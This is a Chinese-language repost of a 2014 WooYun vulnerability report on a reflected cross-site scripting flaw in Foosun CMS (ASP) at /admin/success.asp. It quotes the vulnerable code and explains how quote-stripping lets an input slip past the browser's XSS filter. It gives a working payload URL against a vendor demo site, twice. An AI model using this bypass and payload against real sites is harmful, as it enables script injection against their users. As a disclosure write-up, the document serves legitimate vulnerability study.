记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

风讯CMS ASP版本反射型跨站绕过浏览器filter

2014-11-08 00:25

foosuncms后台/admin/success.asp是任意用户都可以访问的。

看看出问题的代码:

code 区域
<% Option Explicit %>

<!--#include file="../FS_Inc/Const.asp" -->

<!--#include file="../FS_Inc/Function.asp" -->

<%

Dim Conn,UserConn

dim p_ErrorUrl,p_ErrCodes

p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"''","")

p_ErrorUrl=replace(p_ErrorUrl,"***","&")

p_ErrCodes = Request.QueryString("ErrCodes")

if trim(p_ErrorUrl) = "" then

p_ErrorUrl = "javascript:history.back();"

Else

p_ErrorUrl = p_ErrorUrl

End if

%>

...

<td width="88%">

<div align="left">

<% = p_ErrCodes %>

<li><a href="<% = p_ErrorUrl %>">返回上一级</a> </li>

<li><a href="http://www.foosun.cn" target="_blank">Powered by Foosun Inc.</a> <a href="http://help.foosun.net" target="_blank" style="cursor: help">帮助中心</a> <a href="http://bbs.foosun.net" target="_blank">技术论坛</a></li>

</div>



上面获得了ErrorUrl参数,在52行的位置将它放进a的href中了。

原本就是一个不用绕过浏览器filter的跨站,但是需要点击触发:

13.jpg



明显不是我们要想的结果。

那么怎么绕过浏览器filter自动执行?



首先我们要知道浏览器过滤哪些关键字,很常见的就是一个<script>,或者onerror中的on,浏览器只要见到这二者就是会过滤的:

14.jpg



再深入一点就提到浏览器filter的原理,浏览器过滤的时候是检测url的参数中、页面源代码中是否有同样的xss字段,如果有的话才说明存在跨站,才进行拦截。

也就是说,如果url中的内容和html源码中的内容不同的话,浏览器不认为这是一个跨站,也就不会防御。

所以我们看到这行代码:

code 区域
p_ErrorUrl = Replace(Request.QueryString("ErrorUrl"),"''","")



它获取到ErrorUrl后,过滤了''为空。

所以,我们不妨将浏览器会过滤的敏感字符串(如script)中加入'',变成<scr''ipt>,这样url中的字符串是scr''ipt,但显示在html中的字符串是script,这样浏览器就不会拦截了。

所以我最后构造的payload就是:

code 区域
http://demo.foosun.net/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E



如图:

15.jpg



demo站演示

16.jpg

漏洞证明:

所以我最后构造的payload就是:

code 区域
http://demo.foosun.net/foosun500/Admin/success.asp?ErrorUrl=%22%3E%3Cscr%27%27ipt%3Ealert(/xss/)%3C/scr%27%27ipt%3E



如图:

15.jpg



demo站演示

16.jpg

修复方案:

过滤。

知识来源: www.wooyun.org/bugs/wooyun-2014-071493

阅读:78147 | 评论:1 | 标签:跨站 cms

想收藏或者和大家分享这篇好文章→复制链接地址

“风讯CMS ASP版本反射型跨站绕过浏览器filter”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云